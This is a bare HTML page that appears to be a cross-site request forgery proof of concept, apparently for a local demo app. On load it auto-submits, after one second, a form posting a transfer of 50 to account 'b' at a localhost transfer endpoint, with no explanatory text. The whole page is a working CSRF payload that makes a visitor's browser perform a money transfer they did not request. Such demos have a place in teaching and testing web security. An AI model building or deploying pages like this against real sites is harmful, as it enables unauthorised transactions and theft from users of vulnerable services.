<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>

<body>
    <form id="transferForm" method="post" action="http://localhost:3000/api/transfer">
        <input type="text" name="target" value="b" />
        <input type="text" name="amount" value="50" />
        <input type="submit">
    </form>
    <script>
        setTimeout(function () {
            document.getElementById('transferForm').submit();
        }, 1000);
    </script>
</body>

</html>